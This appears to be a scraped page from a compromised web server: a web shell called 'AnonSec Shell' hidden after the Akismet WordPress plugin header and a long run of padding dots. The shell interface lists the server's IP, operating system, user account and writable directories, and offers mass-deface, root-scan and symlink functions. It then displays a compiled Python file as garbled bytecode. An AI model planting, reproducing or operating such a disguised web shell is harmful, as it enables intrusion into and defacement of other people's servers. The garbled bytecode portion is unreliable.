#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/rhsmlib/facts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/rhsmlib/facts/collector.pyo
�
L��ec@`s�ddlmZmZmZddlZddlZddlZddlmZej	e
�Zdd�Z
defd��YZdefd��YZdS(	i(tprint_functiontdivisiontabsolute_importN(t
collectioncC`s�d}d}|p|}||kr.tj�Stjj||�}y,t|d��}|j�j�SWdQXWn#tk
r�}t	j
|��nXdS(sGet the systems architecture.

    This relies on portable means, like uname to determine
    a high level system arch (ie, x86_64, ppx64,etc).

    We need that so we can decide how to collect the
    arch specific hardware information.

    Also support a 'prefix' arg that allows us to override
    the results. The contents of the '/prefix/arch' will
    override the arch. The 'prefix' arg defaults to None,
    equiv to '/'. This is intended only for test purposes.

    Returns a string containing the arch.t/tarchtrN(tplatformtmachinetostpathtjointopentreadtstriptIOErrortlogt	exception(tprefixtDEFAULT_PREFIXtARCH_FILE_NAMEt	arch_filetarch_fdte((s=/usr/lib64/python2.7/site-packages/rhsmlib/facts/collector.pytget_archs

tFactsCollectorcB`s2eZdddddd�Zd�Zd�ZRS(cC`s^i|_|pd|_|p!t|_||_|pEtd|j�|_|pTg|_dS(s�Base class for facts collecting classes.

        self._collected_hw_info will reference the passed collected_hw_info
        arg. When possible this should be a reference (or copy) to all of the facts
        collected in this run. Some collection methods need to alter behavior
        based on facts collector from other modules/classes.
        self._collected_hw_info isn't meant to be altered as a side effect, but
        no promises.tRN(tallhwRtFalsettestingt_collected_hw_infoRRthardware_methods(tselfRRRRtcollected_hw_info((s=/usr/lib64/python2.7/site-packages/rhsmlib/facts/collector.pyt__init__>s
		cC`s5tj�}|j|j��tjd|�}|S(s"Return a FactsCollection iterable.t
facts_dict(Rt	FactsDicttupdatetget_alltFactsCollection(R R#tfacts_collection((s=/usr/lib64/python2.7/site-packages/rhsmlib/facts/collector.pytcollectSscC`sni}xa|jD]V}i}y
|�}Wn-tk
rX}tjd|j|f�nX|j|�qW|S(Ns"Hardware detection [%s] failed: %s(Rt	ExceptionRtwarnt__name__R%(R tall_hw_infothardware_methodt	info_dictR((s=/usr/lib64/python2.7/site-packages/rhsmlib/facts/collector.pyR&Zs
N(R,t
__module__tNoneR"R)R&(((s=/usr/lib64/python2.7/site-packages/rhsmlib/facts/collector.pyR=s		tStaticFactsCollectorcB`seZdd�Zd�ZRS(cK`sKtt|�j|�|dkr+i}n||_|jjdd�dS(Nssystem.certificate_versions3.2(tsuperRR"R1tstatic_factst
setdefault(R R4tkwargs((s=/usr/lib64/python2.7/site-packages/rhsmlib/facts/collector.pyR"ks
		cC`s|jS(N(R4(R ((s=/usr/lib64/python2.7/site-packages/rhsmlib/facts/collector.pyR&rsN(R,R0R1R"R&(((s=/usr/lib64/python2.7/site-packages/rhsmlib/facts/collector.pyR2js(t
__future__RRRtloggingR	Rt
rhsmlib.factsRt	getLoggerR,RR1RtobjectRR2(((s=/usr/lib64/python2.7/site-packages/rhsmlib/facts/collector.pyt<module>s$-

Anon7 - 2022
AnonSec Team